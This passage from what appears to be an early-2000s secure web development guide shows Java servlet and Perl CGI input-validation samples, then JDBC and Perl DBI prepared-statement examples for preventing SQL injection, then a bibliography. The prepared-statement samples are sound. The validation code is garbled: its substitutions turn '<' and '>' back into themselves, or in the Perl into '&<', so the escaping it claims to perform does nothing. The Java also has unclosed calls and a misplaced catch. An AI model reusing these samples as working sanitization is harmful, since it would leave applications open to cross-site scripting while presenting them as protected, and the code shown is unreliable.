       throws ServletException
  {
    super.init( config ) ;

    // Create Perl5Compiler and Perl5Matcher instances.
    sCompiler = new Perl5Compiler() ;
    sCachedPatterns = new PatternCacheLRU( 20, sCompiler ) ;
```

```
}

/**
 * Method to handle requests of type POST. Check the length
 * and forward to the doGet method.
 */
public void doPost( HttpServletRequest  request,
                    HttpServletResponse response )
     throws java.io.IOException, ServletException
{
  // check the length of the post to make sure it isn't too big
  int length    = request.getContentLength() ;
  if ( length > 1024 ) // > 1024 bytes is considered too big
  {
    try { response.getOutputStream().println( "POST exceeds 1024 bytes - not accepted." ) ; }
    catch( java.io.IOException ioe ) { ; }
    return ;
  }
  else // everything is fine, forward request to the doGet method
  {
    doGet( request, response ) ;
  }
}

/**
 * Method to handle requests of type GET
 */
public void doGet( HttpServletRequest  request,
                   HttpServletResponse response )
     throws java.io.IOException, ServletException
{
  // validate input data before processing
  HashMap validatedParams = validateInput( request ) ;

  // Do whatever it is this servlet is supposed to do
  // but instead of getting parameters from "request"
  // get them from validatedParams.
  try { response.getOutputStream().println( "Hello World" ) ; }
  catch( java.io.IOException ioe ) { ; }

  return ;
}


/**
 * Iterates through all the input variables and ensures
 * that their values meet validation requirements by
 * calling the validateString method on each value.
 */
public HashMap validateInput( HttpServletRequest request )
{
  HashMap validatedParams = new HashMap() ;

  // Loop through all variables in the request and validate their values
  for ( Enumeration e = request.getParameterNames() ; e.hasMoreElements() ; )
  {
    // get the name of the first input variable
    String   name = (String) e.nextElement() ;
    // each variable can have zero or more values
    String[] vals = request.getParameterValues( name ) ;
    if ( vals != null )
    {
      StringBuffer sb = new StringBuffer() ;
      for ( int i = 0 ; i < vals.length ; i++ )
        sb.append( vals[i] + "\n" ) ;

      // validate the string
      validatedParams.put( name, validateString( sb.toString() ) ) ;
    }
  }

  return validatedParams ;
```

```
  }

  /**
   * Validate parameter. Validate all input parameters.
   * This methods calls "substitute" twice to replace < and >
   * with the proper URL encoding &lt; &gt;  Other
   * validation and sanitization such as length checking,
   * data typing, etc. could be performed as well.
   */
  public String validateString( String s0 )
  {
    try
    {
      String s1 = substitute( s0, "(>)", ">" ) ;
      String s2 = substitute( s1, "(<)", "<" ) ;
      return s2 ;
    }
    catch( MalformedPatternException e )
    {
      System.out.println( e ) ;
      return null ;
    }
  }

  /**
   * Use the Perl5Substitution class to replace  < and >
   * with the proper URL encoding &lt; &gt;
   */
  public String substitute( String inputString,
                            String patternString,
                            String substitutionString )
       throws MalformedPatternException
  {
    Perl5Substitution substitution =
      new Perl5Substitution( substitutionString, Perl5Substitution.INTERPOLATE_ALL ) ;
    Pattern pattern = (Perl5Pattern)
      sCachedPatterns.addPattern( patternString, Perl5Compiler.DEFAULT_MASK  ) ;

    return org.apache.oro.text.regex.Util.substitute( sMatcher, pattern, substitution,
                                                      inputString,
                                                      org.apache.oro.text.regex.Util.SUBSTITUTE_ALL
  }
}
```

Perl - Input Validation For CGI Scripts

Perl scripts are not necessarily as standardized as their J2EE servlet counterparts. Nonetheless, most Perl CGI scripts have a subroutine that is used to place the submitted CGI data into an associative array (similar to hashtable).

In the example below, the method &parseCGI which is not included is assumed to return the name/value pairs submitted with the request (whether it is a GET or POST request) as the associative array, %input. The subroutine validateData will substitute < and > with < and > respectively.

```
#!/usr/bin/perl
use strict ;

my %input = &parseCGI ;
&validateInput() ;

print "Content-type: text/html\n\n" ;
print "Hello world\n" ;

exit 1 ;

sub validateInput
{
```

```
  my $key ;
  my $value ;
  foreach $key (keys %input)
  {
    $input{ $key } =~ s/</&</g ;
    $input{ $key } =~ s/>/&>/g ;
  }
}
```

Appendix C. Appendix C - SQL Injection Mitigation

Gene McKenna

Using Prepared Statements

As mentioned in Chapter 11, a well designed system should not allow the user to change the nature of a query that is being executed. Typically this could be done if the user input contains special characters, such as " or '.

The following code samples show the proper way to execute queries using JDBC and the Perl DBI module. Both use a technique known as a Prepared Statement which automatically escapes special characters to preserve the intent of the query. Both also allow for faster execution by allowing the database to reuse the query plan for each prepared statement.

J2EE - JDBC Queries With Prepared Statements

The following code shows how an EJB Session Bean might be used to set a user password.

```
public class UserServerBean
   implements SessionBean
{
  private static DataSource sDataSource = null;

  public void ejbCreate() throws javax.ejb.CreateException,
      java.rmi.RemoteException
  {
    if ( sDataSource == null)
    {
      try
      {
        Context ctx = new InitialContext();
        sDataSource = (DataSource) ctx.lookup( "jdbc/sample" ) ;
        if( sDataSource == null)
          System.out.println( "No data source found" ) ;
      }
    }
    catch (Exception e)
    {
      System.out.println( "Naming service exception: " +
                          e.getMessage() ) ;
    }
  }

  public ResultSet getUserList( String keywords )
  {
    java.sql.Connection con = sDataSource.getConnection() ;

    PreparedStatement selectUsers = con.prepareStatement(
          "SELECT id, name FROM app_user WHERE name LIKE ? " ) ;

    // Note, the parameters in the query are numbered starting at 1, not 0
    selectUsers.setString( 1, "%"+keywords+"%" ) ;

    // execute the query
    return selectUsers.executeQuery() ;
  }

  public int setUserPassword( int userId, String newPassword )
  {
    int count = 0 ;
```

```
    try
    {
      java.sql.Connection con = sDataSource.getConnection() ;

      PreparedStatement setPassword = con.prepareStatement(
          "UPDATE app_user SET password = ? WHERE id = ? " ) ;

      // Note, the parameters in the query are numbered starting at 1, not 0
      setPassword.setString( 1, newPassword ) ;
      setPassword.setInt(    2, userId      ) ;

      // execute the query
      count = setPassword.executeUpdate() ;
    }
    catch( SQLException e )
    {
      System.out.println( "SQLException in setUserPassword " + e ) ;
    }
    return count ;
  }
```

Perl - ODBC Queries With Prepared Statements

The Perl examples below show similar queries made using the Perl DBI module interface. The DBI interface allows for easy variable binding as arguments to the execute function, as shown below. Advanced binding with more control over the binding type is also available.

```
#!/usr/bin/perl

use strict ;
use DBI ;

my $id ;
my $name ;

my $dbh = DBI->connect( "DBI:Oracle:$dbInstance", "$dbUserName", "$dbPassword" )
    or die "Couldn't connect to database: " . DBI->errstr ;

my $userUpdate = "UPDATE app_user SET password = ? WHERE id = ?" ;
my $userList   = "SELECT id,name FROM app_user WHERE upper(name) LIKE '%'\|\|?\|\|'%'" ;

my $sthUserList = $dbh->prepare( $userList )
  or die "Couldn't prepare user list query " . $dbh->errstr;
my $sthUserUpdate = $dbh->prepare( $userUpdate )
  or die "Couldn't prepare user update query " . $dbh->errstr;

# find all users whose name contains the string "mith" in any case
&userList( "mith" ) ;

# set the password for user 100 to superSecret
&userUpdate( 100, "superSecret" ) ;

exit 1 ;

#
# select a list of users whose last name contains the keyword
#
sub userList
{
  my ( $keyword ) = @_ ;

  # translate the keyword to all upper case
  $keyword =~ tr/a-z/A-Z/ ;

  $sthUserList->execute( $keyword ) ;
  while( ( $id, $name ) = $sthUserList->fetchrow_array() )
  {
```

```
    print "$id, $name\n" ;
  }
}

#
# set the password for the user specified
#
sub userUpdate
{
  my ( $userId, $password ) = @_ ;

  $sthUserUpdate->execute( $password, $userId ) ;
}
```

Bibliography

Web-based resources

[Wheeler, 2002] David Wheeler. Copyright © 2002 David A. Wheeler. Secure Programming for Linux and Unix HOWTO. http://www.dwheeler.com/secure-programs/ .

[Sun Microsystems, 2003] . Copyright © 2003 Sun Microsystems, Inc.. Java Cryptography Extension. http://java.sun.com/products/jce/ .

[Aleph One, 1996] Aleph One. Copyright © 1996 Aleph One. Smashing The Stack For Fun And Profit. http://www.phrack.com/show.php?p=49&a=14 .

[Donaldson, 2002] Mark Donaldson. Copyright © 2002 Mark E. Donaldson. Inside the Buffer Overflow Attack: Mechanism, Method, & Prevention. http://www.sans.org/rr/code/inside_buffer.php .

[Snake Oil, 1998] Matt Curtin. Copyright © 1998 Matt Curtin. Snake Oil Warning Signs: Encryption Software to Avoid. http://www.interhack.net/people/cmcurtin/snake-oil-faq.html .

[XML Encryption proof of concept, 2003] James Picklesimer. Copyright © 2003 James E. Picklesimer, Jr.. Keysigner Client v101. http://sign.myxmldoc.com/ .

Books

[Anderson, 2001] Ross Anderson. Copyright © 2001 . 0-471-38922-6. John Wiley & Sons, Inc. . *Security Engineering*. A Guide to Building Dependable Distributed Systems.

[Gong, 1999] Li Gong. Copyright © 1999 Addison-Wesley. 0-201-31000-7. Addison-Wesley. *Inside Java 2 Platform Security*. Architecture, API Design, and Implementation.

[Howard, 2002] Michael Howard and David Le Blanc. Copyright © 2002 Microsoft Corporation. 0-7356-1588-8. Microsoft Press . *Writing Secure Code*.

[Knudsen, 1998] Jonathan Knudsen. Copyright © 1998 O'Reilly & Associates, Inc.. 1-56592-402-9. O'Reilly & Associates, Inc. . *Java Cryptography*.

[Oaks, 2001] Scott Oaks. Copyright © 2001 O'Reilly & Associates, Inc.. 0-596-00157-6. O'Reilly & Associates, Inc. . *Java Security*. 2nd. ed..

[Viega and McGraw, 2002] John Viega and Gary McGraw. Copyright © 2002 Addison-Wesley. 0201-72152-X. Addison-Wesley . *Building Secure Software*. How to avoid security problems the right way.

[Galbraith, et al., 2002] Ben Galbraith, Whitney Hankison, Andre Hiotis, Murali Janakiraman, Ravi Trivedi, and David Whitney. Copyright © 2002 Wrox Press. 1-86100-765-5. Wrox Press. *Professional Web Services Security*.